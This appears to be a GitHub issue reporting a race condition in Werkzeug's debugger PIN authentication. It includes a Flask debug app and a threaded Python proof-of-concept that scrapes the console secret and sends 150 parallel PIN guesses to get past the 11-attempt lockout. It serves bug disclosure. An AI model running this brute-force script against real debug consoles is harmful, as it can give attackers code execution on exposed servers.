Skip to content

Race condition in debugger PIN authentication #2916

Closed
@unknown-1-0

Description

There is a race condition in debugger PIN authentication, specifically in DebuggedApplication.pin_auth() that allows to try more than 11 PINs. This happens because DebuggedApplication.pin_auth() does not properly handle parallel PIN authentication requests.

Reproduction steps

The app code:

import flask

app = flask.Flask(__name__)
app.debug = True
app.run()

Program that reproduces the bug (assuming the app above is running on localhost:5000):

from threading import Thread
from requests import get

threads_up = 0
threads_to_start = 150
host = 'http://localhost:5000'

response = get(f"{host}/console")
secret = response.text.split('SECRET = "')[1]
secret = secret.split('"')[0]
print("Secret:", secret)

wait = True
not_exhausted = 0
def send_code(pin):
    # wait for other threads to start for sending all of threads' requests at the same time
    global wait
    while wait:
        pass

    global host, secret
    response = get(f"{host}/console?__debugger__=yes&cmd=pinauth&s={secret}&pin={pin:09d}")

    cookies = ""
    for cookie in response.cookies.items():
        cookies += "=".join(cookie) + "; "

    if len(cookies) == 0:
        cookies = "None"

    print(f"PIN: {pin:09d} | Response: {response.text}\t| Cookies: {cookies}")

    global not_exhausted
    try:
        if not response.json()['exhausted']:
            not_exhausted += 1
    except:
        pass

    global threads_up
    threads_up -= 1

print(f"Starting {threads_to_start} threads...")
for i in range(0, threads_to_start):
    print(f"Starting thread {i+1} of {threads_to_start}...", end='\r')
    try:
        Thread(target=send_code, args=(i,), daemon=True).start()
        threads_up += 1
    except Exception as e:
        print(f"Failed to start thread {i+1}: {e}")

# Make all threads send their request
print(f"Threads started: {threads_up} out of {threads_to_start}. Sending requests...")
wait = False

while threads_up > 0:
    pass

print("Total requests not exhausted:", not_exhausted)

Expected behavior

If parallel PIN authentications were handled properly, the program above would show that only 11 requests didn't receive "exhausted":true, but because they are not handled properly, the program above shows 150 instead (or any other value you set in threads_to_start var)

Environment:

  • Python version: 3.11.9
  • Werkzeug version: 3.0.3

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions